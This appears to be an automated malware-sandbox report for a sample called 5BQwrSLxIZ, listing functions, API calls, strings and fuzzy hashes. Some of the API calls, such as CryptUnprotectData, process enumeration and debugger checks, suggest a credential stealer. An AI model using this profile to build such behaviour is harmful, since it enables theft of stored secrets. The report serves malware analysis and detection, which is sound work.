Associated: 00000000.00000002.2771418006.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771478338.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_5BQwrSLxIZ.jbxd

Similarity

API ID: memcmp
String ID: NEAR
API String ID: 1475443563-1088024997
Opcode ID: 4d2cf3cb9872dd5940cabedcc3a15d50b3ea5f83f0767353deead4732f133efd
Instruction ID: b4e98ac7f2dea276e522b18a44adf406a464a3194d3be0cff96e2c83306ccf13
Opcode Fuzzy Hash: 4d2cf3cb9872dd5940cabedcc3a15d50b3ea5f83f0767353deead4732f133efd
Instruction Fuzzy Hash: 464234B4D08289CFDB80CFA8C18479DBBF1BB49308FA4C45AD8549B345D776E8A6CB51

Function 61E62CA3 Relevance: 9.1, Strings: 6, Instructions: 1622COMMON

Download Yara Rule

Strings

E, xrefs: 61E64125
NOCASE, xrefs: 61E63D79
2, xrefs: 61E630F0
BINARY, xrefs: 61E63D74
false, xrefs: 61E63127
u, xrefs: 61E63A4C

Memory Dump Source

Source File: 00000000.00000002.2771208385.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2771175630.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771281770.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771316744.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771353251.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771383427.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771478338.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_5BQwrSLxIZ.jbxd

Similarity

API ID:
String ID: 2$BINARY$E$NOCASE$false$u
API String ID: 0-3666730823
Opcode ID: beff92b0231c033153933d369dc51a21a487b994b627d77318b42780bb6e3db1
Instruction ID: 6b9246b4563a5e155af7b98e7ab84f845b82c0e831d1f7dba739a0367b6c7f33
Opcode Fuzzy Hash: beff92b0231c033153933d369dc51a21a487b994b627d77318b42780bb6e3db1
Instruction Fuzzy Hash: 39F24774A442598FDB10CFA8C480B8DBBF5BF49318F65C169E858AB355D734EC86CB90

Function 0040A210 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 0040A23F
LocalAlloc.KERNEL32(00000040,?,?,?,00404F3E,00000000,?), ref: 0040A251
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 0040A27A
LocalFree.KERNEL32(?,?,?,?,00404F3E,00000000,?), ref: 0040A28F

Strings

>O@, xrefs: 0040A224, 0040A231, 0040A249, 0040A268, 0040A234, 0040A26B

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: >O@
API String ID: 4291131564-3498640338
Opcode ID: edccb5067cb49db7a5de6f654d3a134b15aae92a07ed0db144d4c911c0eb6ceb
Instruction ID: de78b312e53d8eb1032a325daaba17a5ad67a9fc4c37dbc2dcfee383a82f1a49
Opcode Fuzzy Hash: edccb5067cb49db7a5de6f654d3a134b15aae92a07ed0db144d4c911c0eb6ceb
Instruction Fuzzy Hash: 3B11D474641308AFEB10CF64DC95FAA77B5EB88B04F208099FD159B3D0C776AA41CB50

Function 61E86668 Relevance: 8.2, Strings: 6, Instructions: 719COMMON

Download Yara Rule

Strings

missing from index , xrefs: 61E86ED7
d, xrefs: 61E866B5
non-unique entry in index , xrefs: 61E8700A
row , xrefs: 61E86EA4
q, xrefs: 61E86DD9
wrong # of entries in index , xrefs: 61E86DE9

Memory Dump Source

Source File: 00000000.00000002.2771208385.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2771175630.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771281770.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771316744.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771353251.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771383427.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771478338.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_5BQwrSLxIZ.jbxd

Similarity

API ID:
String ID: missing from index $d$non-unique entry in index $q$row $wrong # of entries in index
API String ID: 0-2434882124
Opcode ID: 7b4e3502c80a4384d77415debf17acac60d31245c151a2030a67de06a2fb1782
Instruction ID: 64764bd2453105caa9badb98113fecf854144ac2eeaebcc13dcf1322e2d74596
Opcode Fuzzy Hash: 7b4e3502c80a4384d77415debf17acac60d31245c151a2030a67de06a2fb1782
Instruction Fuzzy Hash: 5272E374A042898FDB50DFA8C59079DBBF1BB88304F20C56DE8A8AB395D775E942CF41

Function 6C8E15E0 Relevance: 7.8, APIs: 5, Instructions: 258COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,6C8E144F,?,00001000,?,6C8D981A,FFFFFFFF,?,6C8E144F,?,?), ref: 6C8E1645
WriteConsoleW.KERNEL32(?,?,00000000,00000000,00000000,?,6C8E144F), ref: 6C8E1675
WriteConsoleW.KERNEL32(?,?,00000001,6C8E144F,00000000,?,6C8E144F), ref: 6C8E16C6
GetLastError.KERNEL32(?,6C8E144F), ref: 6C8E18E3

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID: ConsoleWrite$ByteCharErrorLastMultiWide
String ID:
API String ID: 3036337926-0
Opcode ID: 60d32de8982b334e252dd13a86ae87f9d4e58439108f8cc83bf9fdcfd23cd70d
Instruction ID: 2dc1a642e6dc31deb7ce8e5714371566b0be7015a8bb032b24433446eeb8f329
Opcode Fuzzy Hash: 60d32de8982b334e252dd13a86ae87f9d4e58439108f8cc83bf9fdcfd23cd70d
Instruction Fuzzy Hash: EF915E31A2C7915AE7224B38C8417AAB774AFD7344F24CB1EF9D872991FB31D5858304

Function 6C8E390E Relevance: 7.6, Strings: 6, Instructions: 123COMMON

Download Yara Rule

Strings

{, xrefs: 6C8E39E2
}, xrefs: 6C8E3AC7
\u, xrefs: 6C8E39DB
}, xrefs: 6C8E39D7
{, xrefs: 6C8E3AD2
\u, xrefs: 6C8E3ACB

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID:
String ID: \u$\u${${$}$}
API String ID: 0-582841131
Opcode ID: abb7a16bdc4a417a463c7b583eda0d667fb708f2172ce22c2d9d50916d5c617d
Instruction ID: d48cad00d32ca08a19b768898eadde0b5010e6b0634f403d45bb7cf44813ec4a
Opcode Fuzzy Hash: abb7a16bdc4a417a463c7b583eda0d667fb708f2172ce22c2d9d50916d5c617d
Instruction Fuzzy Hash: 9F415B23D19FDEC5C7018B7944212AEBFB22FE7204F1D42AAC4991F342D7358546D3A5

Function 004072A0 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400,?,?,?,?,?,00407CF0,80000001,00416414,?,?,?,?,?,00407CF0), ref: 004072AD
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,00407CF0,80000001,00416414,?,?,?,?,?,00407CF0,?), ref: 004072B4
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 004072E1
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000,?,?,?,?,?,00407CF0,80000001,00416414), ref: 00407304
LocalFree.KERNEL32(?,?,?,?,?,?,00407CF0,80000001,00416414,?,?,?,?,?,00407CF0,?), ref: 0040730E

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: Heap$AllocByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 3657800372-0
Opcode ID: 71551e695a0caf509547d065f2a667422435cc09d56db0d1c7835a16714f6d9a
Instruction ID: 53cc3c192cf3f0b8553079c3b9831d6236397efc4a83699197ab53cf729bcbdc
Opcode Fuzzy Hash: 71551e695a0caf509547d065f2a667422435cc09d56db0d1c7835a16714f6d9a
Instruction Fuzzy Hash: 43010075E45308BBEB14DFA4DC45F9E7779AB44B00F104556FB05BA2C0D670AA009B55

Function 00419790 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004197AE
Process32First.KERNEL32(00420ACE,00000128), ref: 004197C2
Process32Next.KERNEL32(00420ACE,00000128), ref: 004197D7
StrCmpCA.SHLWAPI(?,00000000), ref: 004197EC
CloseHandle.KERNEL32(00420ACE), ref: 0041980A

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: ab7854b09e34a3e72564da4cae313691c3db6a0f4efd60600c229a2cf8e43cf1
Instruction ID: 1fbe04e52da5ee7ffdaa7b0a109f2e7c212eef70923f216ae4cda371332784c4
Opcode Fuzzy Hash: ab7854b09e34a3e72564da4cae313691c3db6a0f4efd60600c229a2cf8e43cf1
Instruction Fuzzy Hash: 49010C75E15209EBDB20DFA4CD54BDEB7B9BB08700F14469AE50996240E7349F80CF61

Function 6C8DED70 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 302COMMONLIBRARYCODE

Download Yara Rule

APIs

WakeByAddressSingle.API-MS-WIN-CORE-SYNCH-L1-2-0(?), ref: 6C8DF03E

Strings

<unnamed>, xrefs: 6C8DEF22
Box<dyn Any>aborting due to panic at , xrefs: 6C8DEE73
main, xrefs: 6C8DF116

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID: AddressSingleWake
String ID: <unnamed>$Box<dyn Any>aborting due to panic at $main
API String ID: 3114109732-896199136
Opcode ID: 612c9710da72c6a6097735fd62813f6612c1f1229f72f1da3cf6d87babe4b94f
Instruction ID: 98c42543125e58485967908a7d3511655f44b5fdb3f987d44dd33ac7abdbf8c3
Opcode Fuzzy Hash: 612c9710da72c6a6097735fd62813f6612c1f1229f72f1da3cf6d87babe4b94f
Instruction Fuzzy Hash: 4BD14570604B408FD721CF29C680B52B7F1BB59308F258D6ED89A8BB91DB35F449CB91

Function 00413970 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(0041E120,00000000,00000001,0041E110,00000000), ref: 004139A8
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 00413A00

Strings

,<A, xrefs: 0041398D, 00413AE4, 00413AE7

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID: ,<A
API String ID: 123533781-3158208111
Opcode ID: 6035193581f456c28db8c3dbbb17385d9df3aded10c54e768140ce262fc94c92
Instruction ID: 4ceafe5fcd3fa6382eb1302e1b13d25b09f52af09297020757b8d8bc714daff3
Opcode Fuzzy Hash: 6035193581f456c28db8c3dbbb17385d9df3aded10c54e768140ce262fc94c92
Instruction Fuzzy Hash: A8410670A00A28AFDB24DF58CC95BDBB7B5AB48302F4041D9E608E7290E7B16EC5CF50

Function 61EA0BA9 Relevance: 6.9, Strings: 5, Instructions: 655COMMON

Download Yara Rule

Strings

, xrefs: 61EA131C
ASC, xrefs: 61EA138A
DESC, xrefs: 61EA1392
bua, xrefs: 61EA139A
bua, xrefs: 61EA0CD2

Memory Dump Source

Source File: 00000000.00000002.2771208385.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2771175630.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771281770.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771316744.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771353251.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771383427.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771478338.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_5BQwrSLxIZ.jbxd

Similarity

API ID:
String ID: $ASC$DESC$bua$bua
API String ID: 0-1029442847
Opcode ID: 876e7f91c301f4377f3a93d8357079fc96c7faeee8a755240ad0b6b60eaecbe8
Instruction ID: 8ab5de4e3564c360289137fee1b889a4ea914830ed3e88a553d2216b992680de
Opcode Fuzzy Hash: 876e7f91c301f4377f3a93d8357079fc96c7faeee8a755240ad0b6b60eaecbe8
Instruction Fuzzy Hash: 0852E2B4A053498FDB10CFA9C580A8EBBF1BF89304F25856DE899AB351D734E846CF51

Function 6C8F11FD Relevance: 6.1, APIs: 4, Instructions: 70COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,00000000), ref: 6C8F1209
IsDebuggerPresent.KERNEL32 ref: 6C8F12D5
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6C8F12EE
UnhandledExceptionFilter.KERNEL32(?), ref: 6C8F12F8

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 8eabfedbacf1b8494ea96fa5f480944855fb9e87b16d65968ca48a87384d963a
Instruction ID: aaf97ad94bd67fe82387f3ebcf6af1d1b338e1ed2cfdf3d3783635a86a346072
Opcode Fuzzy Hash: 8eabfedbacf1b8494ea96fa5f480944855fb9e87b16d65968ca48a87384d963a
Instruction Fuzzy Hash: 653128B5D052289BDF21DFA4CA497CDBBF8AF08304F1045AEE40CAB240EB749B858F45

Function 00419030 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,004051D4,40000001,00000000,00000000,?,004051D4), ref: 00419050

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 5fcb9d7601459770c1d68cf3a08c3d703ee7026a9ffe2d555f4c4387a797331f
Instruction ID: a6271c561c9c1d5471e6a4d7c0a7a185f0e3b346a55a3ee80b23d48c8130208f
Opcode Fuzzy Hash: 5fcb9d7601459770c1d68cf3a08c3d703ee7026a9ffe2d555f4c4387a797331f
Instruction Fuzzy Hash: 6C11F874604208EFDB00CF54D894BAB37A9AF89310F109449F91A8B350D779ED818BA9

Function 6C8E8BE0 Relevance: 5.9, Strings: 4, Instructions: 941COMMON

Download Yara Rule

Strings

__ZN, xrefs: 6C8E9017
`fmt::Error`s should be impossible without a `fmt::Formatter`, xrefs: 6C8E9798
.llvm./rust/deps\rustc-demangle-0.1.24\src/lib.rs, xrefs: 6C8E8BF5
?, xrefs: 6C8E950D

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID:
String ID: .llvm./rust/deps\rustc-demangle-0.1.24\src/lib.rs$?$__ZN$`fmt::Error`s should be impossible without a `fmt::Formatter`
API String ID: 0-2050174402
Opcode ID: 4024d83047d130ab8b5ed334bce2cbc4a6c405dfa36647e501983490a39c6f73
Instruction ID: c2b1d7f5efc0b6ce7dabac5972513167b5a94b467a96b5e456eaafdb4f16bed9
Opcode Fuzzy Hash: 4024d83047d130ab8b5ed334bce2cbc4a6c405dfa36647e501983490a39c6f73
Instruction Fuzzy Hash: 6B7206729087509BD724CF18C9906AEB7E2AFCB314F198E1EF8A557A91D3B1D841C782

Function 61E4E4BF Relevance: 5.0, APIs: 3, Instructions: 1300COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 61E4F618
memmove.MSVCRT ref: 61E4F713
memmove.MSVCRT ref: 61E4F7B5

Memory Dump Source

Source File: 00000000.00000002.2771208385.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2771175630.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771281770.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771316744.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771353251.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771383427.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771418006.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2771478338.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_5BQwrSLxIZ.jbxd

Similarity

API ID: memmove
String ID:
API String ID: 2162964266-0
Opcode ID: 90110b2c01394ca73a3ba71c95a96c7b170426a2501867a4853995bc85f0eb5c
Instruction ID: bc40f1fef1a9170960cc57993c705059dbee377a108b532450c26420989eb83f
Opcode Fuzzy Hash: 90110b2c01394ca73a3ba71c95a96c7b170426a2501867a4853995bc85f0eb5c
Instruction Fuzzy Hash: ACE2F174A046698FCB65CF69D880BD9B7F1BF89314F2481E9D948A7314D738AE85CF80

Function 6C8E0DE0 Relevance: 4.6, APIs: 3, Instructions: 83filenativesynchronizationCOMMON

Download Yara Rule

APIs

NtWriteFile.NTDLL ref: 6C8E0E3F
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 6C8E0E4F
RtlNtStatusToDosError.NTDLL ref: 6C8E0E6F

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID: ErrorFileObjectSingleStatusWaitWrite
String ID:
API String ID: 3447438843-0
Opcode ID: d52736170614ad341005022905aae37910520c29f859432bc6994e66c2149710
Instruction ID: 4f5dd5aabc384b2cd32df4c00fc951bbe5b8a5ba20989bcc394df778db126302
Opcode Fuzzy Hash: d52736170614ad341005022905aae37910520c29f859432bc6994e66c2149710
